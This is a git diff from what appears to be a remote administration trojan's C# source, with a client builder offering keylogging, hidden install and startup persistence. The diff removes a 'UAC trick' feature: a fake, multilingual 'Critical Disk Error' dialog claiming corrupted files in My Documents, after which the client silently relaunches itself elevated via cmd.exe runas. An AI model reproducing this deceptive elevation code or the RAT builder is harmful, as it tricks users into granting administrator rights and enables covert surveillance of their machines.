diff --git a/Client/Client.csproj b/Client/Client.csproj index 9ca65169..d90fdce4 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -75,15 +75,6 @@ - - Component - - - Form - - - FrmElevation.cs - @@ -209,9 +200,6 @@ - - FrmElevation.cs - ResXFileCodeGenerator Resources.Designer.cs diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index 6d313e17..4821255f 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -21,7 +21,6 @@ namespace xClient.Config public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLEUACESCALATION = false; public static bool ENABLELOGGER = true; public static string TAG = "DEBUG"; @@ -41,7 +40,6 @@ namespace xClient.Config public static string MUTEX = "MUTEX"; public static string STARTUPKEY = "STARTUP"; public static bool HIDEFILE = true; - public static bool ENABLEUACESCALATION = true; public static bool ENABLELOGGER = true; public static string ENCRYPTIONKEY = "ENCKEY"; public static string TAG = "RELEASE"; diff --git a/Client/Core/Elevation/CommandButton.cs b/Client/Core/Elevation/CommandButton.cs deleted file mode 100644 index 00ca6afe..00000000 --- a/Client/Core/Elevation/CommandButton.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Windows.Forms; - -namespace xClient.Core.Elevation -{ - public class CommandButton : Button - { - public CommandButton() - { - this.FlatStyle = FlatStyle.System; - } - - protected override CreateParams CreateParams - { - get - { - CreateParams cParams = base.CreateParams; - if (Environment.OSVersion.Version.Major >= 6) - cParams.Style |= 14; - return cParams; - } - } - } -} \ No newline at end of file diff --git a/Client/Core/Elevation/FrmElevation.Designer.cs b/Client/Core/Elevation/FrmElevation.Designer.cs deleted file mode 100644 index 884c4886..00000000 --- a/Client/Core/Elevation/FrmElevation.Designer.cs +++ /dev/null @@ -1,171 +0,0 @@ -namespace xClient.Core.Elevation -{ - partial class FrmElevation - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.lblHead = new System.Windows.Forms.Label(); - this.picError = new System.Windows.Forms.PictureBox(); - this.panelBot = new System.Windows.Forms.Panel(); - this.linkError = new System.Windows.Forms.LinkLabel(); - this.picInfo = new System.Windows.Forms.PictureBox(); - this.lblText = new System.Windows.Forms.Label(); - this.btnRestoreAndCheck = new Core.Elevation.CommandButton(); - this.btnRestore = new Core.Elevation.CommandButton(); - ((System.ComponentModel.ISupportInitialize)(this.picError)).BeginInit(); - this.panelBot.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.picInfo)).BeginInit(); - this.SuspendLayout(); - // - // lblHead - // - this.lblHead.AutoSize = true; - this.lblHead.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblHead.ForeColor = System.Drawing.Color.MediumBlue; - this.lblHead.Location = new System.Drawing.Point(60, 12); - this.lblHead.Name = "lblHead"; - this.lblHead.Size = new System.Drawing.Size(79, 20); - this.lblHead.TabIndex = 2; - this.lblHead.Text = "%ERROR%"; - // - // picError - // - this.picError.Location = new System.Drawing.Point(12, 12); - this.picError.Name = "picError"; - this.picError.Size = new System.Drawing.Size(42, 42); - this.picError.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picError.TabIndex = 3; - this.picError.TabStop = false; - // - // panelBot - // - this.panelBot.BackColor = System.Drawing.Color.WhiteSmoke; - this.panelBot.Controls.Add(this.linkError); - this.panelBot.Controls.Add(this.picInfo); - this.panelBot.Dock = System.Windows.Forms.DockStyle.Bottom; - this.panelBot.Location = new System.Drawing.Point(0, 245); - this.panelBot.Name = "panelBot"; - this.panelBot.Size = new System.Drawing.Size(542, 38); - this.panelBot.TabIndex = 4; - // - // linkError - // - this.linkError.AutoSize = true; - this.linkError.Location = new System.Drawing.Point(37, 11); - this.linkError.Name = "linkError"; - this.linkError.Size = new System.Drawing.Size(88, 13); - this.linkError.TabIndex = 1; - this.linkError.TabStop = true; - this.linkError.Text = "%MOREDETAILS"; - this.linkError.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkError_LinkClicked); - // - // picInfo - // - this.picInfo.Image = global::xClient.Properties.Resources.information; - this.picInfo.Location = new System.Drawing.Point(12, 10); - this.picInfo.Name = "picInfo"; - this.picInfo.Size = new System.Drawing.Size(16, 16); - this.picInfo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picInfo.TabIndex = 0; - this.picInfo.TabStop = false; - // - // lblText - // - this.lblText.AutoSize = true; - this.lblText.Location = new System.Drawing.Point(61, 48); - this.lblText.Name = "lblText"; - this.lblText.Size = new System.Drawing.Size(47, 13); - this.lblText.TabIndex = 5; - this.lblText.Text = "%TEXT%"; - // - // btnRestoreAndCheck - // - this.btnRestoreAndCheck.FlatStyle = System.Windows.Forms.FlatStyle.System; - this.btnRestoreAndCheck.Location = new System.Drawing.Point(12, 190); - this.btnRestoreAndCheck.Name = "btnRestoreAndCheck"; - this.btnRestoreAndCheck.Size = new System.Drawing.Size(518, 42); - this.btnRestoreAndCheck.TabIndex = 1; - this.btnRestoreAndCheck.Text = "%RESTOREANDCHECK%"; - this.btnRestoreAndCheck.UseVisualStyleBackColor = true; - this.btnRestoreAndCheck.Click += new System.EventHandler(this.btnRestoreAndCheck_Click); - // - // btnRestore - // - this.btnRestore.FlatStyle = System.Windows.Forms.FlatStyle.System; - this.btnRestore.Location = new System.Drawing.Point(12, 140); - this.btnRestore.Name = "btnRestore"; - this.btnRestore.Size = new System.Drawing.Size(518, 42); - this.btnRestore.TabIndex = 0; - this.btnRestore.Text = "%RESTORE%"; - this.btnRestore.UseVisualStyleBackColor = true; - this.btnRestore.Click += new System.EventHandler(this.btnRestore_Click); - // - // frmElevation - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.White; - this.ClientSize = new System.Drawing.Size(542, 283); - this.ControlBox = false; - this.Controls.Add(this.lblText); - this.Controls.Add(this.picError); - this.Controls.Add(this.lblHead); - this.Controls.Add(this.btnRestoreAndCheck); - this.Controls.Add(this.btnRestore); - this.Controls.Add(this.panelBot); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "frmElevation"; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "%TITLE%"; - this.TopMost = true; - this.Paint += new System.Windows.Forms.PaintEventHandler(this.FrmElevation_Paint); - ((System.ComponentModel.ISupportInitialize)(this.picError)).EndInit(); - this.panelBot.ResumeLayout(false); - this.panelBot.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.picInfo)).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private CommandButton btnRestore; - private CommandButton btnRestoreAndCheck; - private System.Windows.Forms.Label lblHead; - private System.Windows.Forms.PictureBox picError; - private System.Windows.Forms.Panel panelBot; - private System.Windows.Forms.Label lblText; - private System.Windows.Forms.PictureBox picInfo; - private System.Windows.Forms.LinkLabel linkError; - } -} \ No newline at end of file diff --git a/Client/Core/Elevation/FrmElevation.cs b/Client/Core/Elevation/FrmElevation.cs deleted file mode 100644 index 2888a0c5..00000000 --- a/Client/Core/Elevation/FrmElevation.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System; -using System.Drawing; -using System.Windows.Forms; - -namespace xClient.Core.Elevation -{ - public partial class FrmElevation : Form - { - public FrmElevation() - { - InitializeComponent(); - - picError.Image = SystemIcons.Error.ToBitmap(); - SetLanguage(); - } - - private void FrmElevation_Paint(object sender, PaintEventArgs e) - { - e.Graphics.DrawLine(Pens.Gray, new Point(0, panelBot.Location.Y - 1), - new Point(this.Width, panelBot.Location.Y - 1)); - } - - private void SetLanguage() - { - string CountryCode = System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName; - //string CountryCode = "ES"; - switch (CountryCode) - { - case "PL": // by navaro21 - this.Text = "Krytyczny błąd dysku"; - lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu."; - lblText.Text = - "Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby\nzapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki.\n\n" + - "Uszkodzona lokalizacja: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + - "\n" + - "Liczba uszkodzonych plików: 4"; - btnRestore.Text = "Odzyskaj pliki"; - btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów."; - linkError.Text = "Więcej szczegółów o tym błędzie"; - break; - case "RU": // by GameFire - this.Text = "Критическая ошибка диска"; - lblHead.Text = "Этот файл или каталог поврежден и нечитаемый"; - lblText.Text = - "Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для\nтогочтобы предотвратить потерю данных, пожалуйста позвольте Windows\nвосстановить эти файлы.\n\n" + - "Поврежденный каталог: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + - "\n" + - "Количество поврежденных файлов: 4"; - btnRestore.Text = "Восстановление файлов"; - btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок"; - linkError.Text = "Подробнее об этой ошибке"; - break; - case "FI": // by Perfectionist & Qmz_ - this.Text = "Kriittinen levyvirhe"; - lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton"; - lblText.Text = - "Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi\nvakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot.\n\n" + - "Vioittunut kansio: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" + - "Korruptoituneiden tiedostojen määrä: 4"; - btnRestore.Text = "Palauta tiedostot"; - btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen"; - linkError.Text = "Lisätietoja virheestä"; - break; - case "NL": // by DeadLine - this.Text = "Kritieke schrijffout"; - lblHead.Text = "Het bestand of pad is corrupt of onleesbaar"; - lblText.Text = - "Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de\nbestanden door Windows te laten herstellen om dataverlies te voorkomen.\n\n" + - "Corrupt pad: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" + - "Aantal corrupte bestanden: 4"; - btnRestore.Text = "Herstel bestanden"; - btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten"; - linkError.Text = "Meer informatie over deze fout"; - break; - case "FR": // by Increment - this.Text = "Erreur Critique du Disque "; - lblHead.Text = "Le fichier ou le dossier spécifié est corrompu"; - lblText.Text = - "De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour\néviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et\ndonnées.\n\n" + - "Dossier corrompu : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" + - "Nombre de fichier(s) corrompu(s) : 4"; - btnRestore.Text = "Restaurer les fichiers"; - btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque "; - linkError.Text = "En savoir plus à propos de cette erreurs"; - break; - case "ES": // by Xenocode - this.Text = "Error critico del disco duro"; - lblHead.Text = "El archivo o directorio está dañado y no se puede leer"; - lblText.Text = - "Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'.\nPara prevenir la pérdida grave de datos, permita por favor de Windows para recuperar\nestos archivos.\n\n" + - "Directorio dañado : " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\n" + - "Archivos corrupots : 4"; - btnRestore.Text = "Recuperar archivos"; - btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur"; - linkError.Text = "Detalles de Errores"; - break; - case "DE": - this.Text = "Kritischer Festplatten Fehler"; - lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar"; - lblText.Text = - "Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden.\nUm einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien\nwiederherzustellen.\n\n" + - "Beschädigtes Verzeichnis: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + - "\n" + - "Anzahl der beschädigten Dateien: 4"; - btnRestore.Text = "Dateien wiederherstellen"; - btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen"; - linkError.Text = "Mehr Informationen zu diesem Fehler"; - break; - case "AR": // By : DragonzMaster - this.Text = "خطأ حرج بالقرص"; - lblHead.Text = "الملف او المجلد معطوب ولا يمكن قرائته"; - lblText.Text = - "تم إيجاد عدة ملفات معطوبة بالمجلد 'مستنداتى'. لمنع\nخسائر كبيرة بالبيانات, من فضلك إسمح لنظام التشغيل بإستعادة هذه الملفات.\n\n" + - "المجلد المعطوب: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + - "\n" + - "عدد الملفات المعطوبة: 4"; - btnRestore.Text = "إستعادة الملفات"; - btnRestoreAndCheck.Text = "إستعادة الملفات و فحص القرص من الأخطاء"; - linkError.Text = "لتفاصيل أكثر حول هذا الخطأ"; - this.RightToLeft = RightToLeft.Yes; - break; - default: // this includes GB, US and all other - this.Text = "Critical Disk Error"; - lblHead.Text = "The file or directory is corrupted and unreadable"; - lblText.Text = - "Multiple corrupted files have been found in the directory 'My Documents'. To prevent\nserious loss of data, please allow Windows to restore these files.\n\n" + - "Corrupted directory: " + Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + - "\n" + - "Corrupted files count: 4"; - btnRestore.Text = "Restore files"; - btnRestoreAndCheck.Text = "Restore files and check disk for errors"; - linkError.Text = "More details about this error"; - break; - } - } - - private void btnRestore_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void btnRestoreAndCheck_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void linkError_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - System.Diagnostics.Process.Start( - "http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx"); - } - } -} diff --git a/Client/Core/Elevation/FrmElevation.resx b/Client/Core/Elevation/FrmElevation.resx deleted file mode 100644 index 7080a7d1..00000000 --- a/Client/Core/Elevation/FrmElevation.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index 94f14065..63d8ce89 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -7,7 +7,6 @@ using System.Net.Sockets; using System.Runtime.InteropServices; using System.Security.Principal; using System.Threading; -using System.Windows.Forms; using Microsoft.Win32; using xClient.Config; using xClient.Core.Encryption; @@ -263,41 +262,6 @@ namespace xClient.Core return "-"; } - public static bool TryUacTrick() - { - if (AccountType == "Admin") - return false; - - if (MyPath == InstallPath) - return false; - - Thread.Sleep(3000); - - Application.Run(new Elevation.FrmElevation()); - - Thread.Sleep(200); - - Application.Exit(); - - ProcessStartInfo processStartInfo = new ProcessStartInfo - { - FileName = "cmd.exe", - Verb = "runas", - Arguments = "/k START \"\" \"" + MyPath + "\" -CHECK & PING -n 2 127.0.0.1 & EXIT", - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true - }; - try - { - Process.Start(processStartInfo); - return true; - } - catch - { - return false; - } - } - public static bool CreateMutex(ref Mutex mutex) { bool createdNew; diff --git a/Client/Program.cs b/Client/Program.cs index 244dea83..6b761e62 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -125,15 +125,6 @@ namespace xClient SystemCore.AccountType = SystemCore.GetAccountType(); GeoLocationHelper.Initialize(); - if (Settings.ENABLEUACESCALATION) - { - if (SystemCore.TryUacTrick()) - SystemCore.Disconnect = true; - - if (SystemCore.Disconnect) - return; - } - if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath) { if (!SystemCore.CreateMutex(ref _appMutex)) diff --git a/README.md b/README.md index 8dda8956..543672d5 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,6 @@ Features * Multi-Threaded * UPnP Support * No-Ip.com Support -* Custom social engineering tactic to elevate Admin privileges (betabot's trick) * Visit Website (hidden & visible) * Show Messagebox * Task Manager diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index dd5b1d4a..b48ff315 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -30,7 +30,6 @@ namespace xServer.Core.Build /// Determines if keylogging functionality should be activated. /// The amount the client will wait until attempting to reconnect. /// The installation path of the client. - /// Determines whether the client should (attempt) to obtain administrator privileges. /// The path to the icon for the client. /// Information about the client executable's assembly information. /// The version number of the client. @@ -40,7 +39,7 @@ namespace xServer.Core.Build public static void Build(string output, string tag, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int reconnectdelay, - int installpath, bool adminelevation, string iconpath, string[] asminfo, string version) + int installpath, string iconpath, string[] asminfo, string version) { // PHASE 1 - Settings string encKey = FileHelper.GetRandomFilename(20); @@ -62,7 +61,7 @@ namespace xServer.Core.Build { if (methodDef.Name == ".cctor") { - int strings = 1, bools = 1, ints = 1; + int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { @@ -114,11 +113,7 @@ namespace xServer.Core.Build case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile)); break; - case 4: //AdminElevation - methodDef.Body.Instructions[i] = - Instruction.Create(BoolOpcode(adminelevation)); - break; - case 5: //Keylogger + case 4: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger)); break; } diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index 8a64db9a..84c2b676 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -36,7 +36,6 @@ this.picUAC1 = new System.Windows.Forms.PictureBox(); this.rbSystem = new System.Windows.Forms.RadioButton(); this.rbProgramFiles = new System.Windows.Forms.RadioButton(); - this.chkElevation = new System.Windows.Forms.CheckBox(); this.chkIconChange = new System.Windows.Forms.CheckBox(); this.ctxtMenuHosts = new System.Windows.Forms.ContextMenuStrip(this.components); this.ctxtRemove = new System.Windows.Forms.ToolStripMenuItem(); @@ -189,18 +188,6 @@ this.rbProgramFiles.UseVisualStyleBackColor = true; this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); // - // chkElevation - // - this.chkElevation.AutoSize = true; - this.chkElevation.Location = new System.Drawing.Point(23, 119); - this.chkElevation.Name = "chkElevation"; - this.chkElevation.Size = new System.Drawing.Size(147, 17); - this.chkElevation.TabIndex = 5; - this.chkElevation.Text = "Enable Admin Elevation"; - this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); - this.chkElevation.UseVisualStyleBackColor = true; - this.chkElevation.CheckedChanged += new System.EventHandler(this.HasChangedSetting); - // // chkIconChange // this.chkIconChange.AutoSize = true; @@ -311,6 +298,7 @@ this.txtTag.Size = new System.Drawing.Size(203, 22); this.txtTag.TabIndex = 3; this.txtTag.Text = "Office04"; + this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); // // label7 // @@ -988,7 +976,6 @@ this.additionalTab.Controls.Add(this.line9); this.additionalTab.Controls.Add(this.label12); this.additionalTab.Controls.Add(this.chkKeylogger); - this.additionalTab.Controls.Add(this.chkElevation); this.additionalTab.Controls.Add(this.chkIconChange); this.additionalTab.Location = new System.Drawing.Point(140, 4); this.additionalTab.Name = "additionalTab"; @@ -1123,7 +1110,6 @@ private System.Windows.Forms.PictureBox picUAC1; private System.Windows.Forms.PictureBox picUAC2; private System.Windows.Forms.ToolTip tooltip; - private System.Windows.Forms.CheckBox chkElevation; private System.Windows.Forms.CheckBox chkIconChange; private System.Windows.Forms.TextBox txtDescription; private System.Windows.Forms.Label lblDescription; diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index b992ecf6..4dcc0b86 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -29,34 +29,35 @@ namespace xServer.Forms foreach (var host in HostHelper.GetHostsList(rawHosts)) _hosts.Add(host); lstHosts.DataSource = new BindingSource(_hosts, null); - txtPassword.Text = pm.ReadValue("Password"); - txtDelay.Text = pm.ReadValue("Delay"); - txtMutex.Text = pm.ReadValue("Mutex"); + txtTag.Text = pm.ReadValueSafe("Tag", "Office04"); + txtPassword.Text = pm.ReadValueSafe("Password", XMLSettings.Password); + txtDelay.Text = pm.ReadValueSafe("Delay", "5000"); + txtMutex.Text = pm.ReadValueSafe("Mutex", FormatHelper.GenerateMutex()); chkInstall.Checked = bool.Parse(pm.ReadValueSafe("InstallClient", "False")); - txtInstallname.Text = pm.ReadValue("InstallName"); - GetInstallPath(int.Parse(pm.ReadValue("InstallPath"))).Checked = true; - txtInstallsub.Text = pm.ReadValue("InstallSub"); + txtInstallname.Text = pm.ReadValueSafe("InstallName", "Client"); + GetInstallPath(int.Parse(pm.ReadValueSafe("InstallPath", "1"))).Checked = true; + txtInstallsub.Text = pm.ReadValueSafe("InstallSub", "SubDir"); chkHide.Checked = bool.Parse(pm.ReadValueSafe("HideFile", "False")); chkStartup.Checked = bool.Parse(pm.ReadValueSafe("AddStartup", "False")); - txtRegistryKeyName.Text = pm.ReadValue("RegistryName"); - chkElevation.Checked = bool.Parse(pm.ReadValueSafe("AdminElevation", "False")); + txtRegistryKeyName.Text = pm.ReadValueSafe("RegistryName", "Client Startup"); chkIconChange.Checked = bool.Parse(pm.ReadValueSafe("ChangeIcon", "False")); chkChangeAsmInfo.Checked = bool.Parse(pm.ReadValueSafe("ChangeAsmInfo", "False")); chkKeylogger.Checked = bool.Parse(pm.ReadValueSafe("Keylogger", "False")); - txtProductName.Text = pm.ReadValue("ProductName"); - txtDescription.Text = pm.ReadValue("Description"); - txtCompanyName.Text = pm.ReadValue("CompanyName"); - txtCopyright.Text = pm.ReadValue("Copyright"); - txtTrademarks.Text = pm.ReadValue("Trademarks"); - txtOriginalFilename.Text = pm.ReadValue("OriginalFilename"); - txtProductVersion.Text = pm.ReadValue("ProductVersion"); - txtFileVersion.Text = pm.ReadValue("FileVersion"); + txtProductName.Text = pm.ReadValueSafe("ProductName"); + txtDescription.Text = pm.ReadValueSafe("Description"); + txtCompanyName.Text = pm.ReadValueSafe("CompanyName"); + txtCopyright.Text = pm.ReadValueSafe("Copyright"); + txtTrademarks.Text = pm.ReadValueSafe("Trademarks"); + txtOriginalFilename.Text = pm.ReadValueSafe("OriginalFilename"); + txtProductVersion.Text = pm.ReadValueSafe("ProductVersion"); + txtFileVersion.Text = pm.ReadValueSafe("FileVersion"); _profileLoaded = true; } private void SaveProfile(string profilename) { ProfileManager pm = new ProfileManager(profilename + ".xml"); + pm.WriteValue("Tag", txtTag.Text); pm.WriteValue("Hosts", HostHelper.GetRawHosts(_hosts)); pm.WriteValue("Password", txtPassword.Text); pm.WriteValue("Delay", txtDelay.Text); @@ -68,7 +69,6 @@ namespace xServer.Forms pm.WriteValue("HideFile", chkHide.Checked.ToString()); pm.WriteValue("AddStartup", chkStartup.Checked.ToString()); pm.WriteValue("RegistryName", txtRegistryKeyName.Text); - pm.WriteValue("AdminElevation", chkElevation.Checked.ToString()); pm.WriteValue("ChangeIcon", chkIconChange.Checked.ToString()); pm.WriteValue("ChangeAsmInfo", chkChangeAsmInfo.Checked.ToString()); pm.WriteValue("Keylogger", chkKeylogger.Checked.ToString()); @@ -85,17 +85,11 @@ namespace xServer.Forms private void FrmBuilder_Load(object sender, EventArgs e) { LoadProfile("Default"); - if (string.IsNullOrEmpty(txtMutex.Text)) - { - txtPort.Text = XMLSettings.ListenPort.ToString(); - txtPassword.Text = XMLSettings.Password; - txtMutex.Text = FormatHelper.GenerateMutex(); - } + + txtPort.Text = XMLSettings.ListenPort.ToString(); UpdateControlStates(); - txtRegistryKeyName.Enabled = (chkInstall.Checked && chkStartup.Checked); - ToggleAsmInfoControls(); } @@ -275,10 +269,9 @@ namespace xServer.Forms } ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text, - txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, - chkStartup.Checked, chkHide.Checked, chkKeylogger.Checked, - int.Parse(txtDelay.Text), - GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion); + txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, + chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo, + Application.ProductVersion); MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); diff --git a/Server/Settings/ProfileManager.cs b/Server/Settings/ProfileManager.cs index 6525f40e..97dbdf61 100644 --- a/Server/Settings/ProfileManager.cs +++ b/Server/Settings/ProfileManager.cs @@ -14,48 +14,6 @@ namespace xServer.Settings { if (string.IsNullOrEmpty(settingsFile)) throw new ArgumentException(); _settingsFilePath = Path.Combine(Application.StartupPath, "Profiles\\" + settingsFile); - - try - { - if (!File.Exists(_settingsFilePath)) - { - if (!Directory.Exists(Path.GetDirectoryName(_settingsFilePath))) - Directory.CreateDirectory(Path.GetDirectoryName(_settingsFilePath)); - - XmlDocument doc = new XmlDocument(); - XmlNode root = doc.CreateElement("settings"); - doc.AppendChild(root); - - root.AppendChild(doc.CreateElement("Hosts")); - root.AppendChild(doc.CreateElement("Password")).InnerText = "1234"; - root.AppendChild(doc.CreateElement("Delay")).InnerText = "5000"; - root.AppendChild(doc.CreateElement("Mutex")); - root.AppendChild(doc.CreateElement("InstallClient")).InnerText = "False"; - root.AppendChild(doc.CreateElement("InstallName")); - root.AppendChild(doc.CreateElement("InstallPath")).InnerText = "1"; - root.AppendChild(doc.CreateElement("InstallSub")); - root.AppendChild(doc.CreateElement("HideFile")).InnerText = "False"; - root.AppendChild(doc.CreateElement("AddStartup")).InnerText = "False"; - root.AppendChild(doc.CreateElement("RegistryName")); - root.AppendChild(doc.CreateElement("AdminElevation")).InnerText = "False"; - root.AppendChild(doc.CreateElement("ChangeIcon")).InnerText = "False"; - root.AppendChild(doc.CreateElement("ChangeAsmInfo")).InnerText = "False"; - root.AppendChild(doc.CreateElement("Keylogger")).InnerText = "False"; - root.AppendChild(doc.CreateElement("ProductName")); - root.AppendChild(doc.CreateElement("Description")); - root.AppendChild(doc.CreateElement("CompanyName")); - root.AppendChild(doc.CreateElement("Copyright")); - root.AppendChild(doc.CreateElement("Trademarks")); - root.AppendChild(doc.CreateElement("OriginalFilename")); - root.AppendChild(doc.CreateElement("ProductVersion")); - root.AppendChild(doc.CreateElement("FileVersion")); - - doc.Save(_settingsFilePath); - } - } - catch - { - } } public string ReadValue(string pstrValueToRead) diff --git a/Server/Settings/Settings.cs b/Server/Settings/Settings.cs index df14910d..839895ba 100644 --- a/Server/Settings/Settings.cs +++ b/Server/Settings/Settings.cs @@ -40,7 +40,7 @@ namespace xServer.Settings root.AppendChild(doc.CreateElement("ShowToU")).InnerText = "True"; root.AppendChild(doc.CreateElement("UseUPnP")).InnerText = "False"; root.AppendChild(doc.CreateElement("ShowToolTip")).InnerText = "False"; - root.AppendChild(doc.CreateElement("SaveFormat")).InnerText = "BROWSER - URL - USER:PASS"; + root.AppendChild(doc.CreateElement("SaveFormat")).InnerText = "APP - URL - USER:PASS"; root.AppendChild(doc.CreateElement("EnableNoIPUpdater")).InnerText = "False"; root.AppendChild(doc.CreateElement("NoIPHost")).InnerText = "";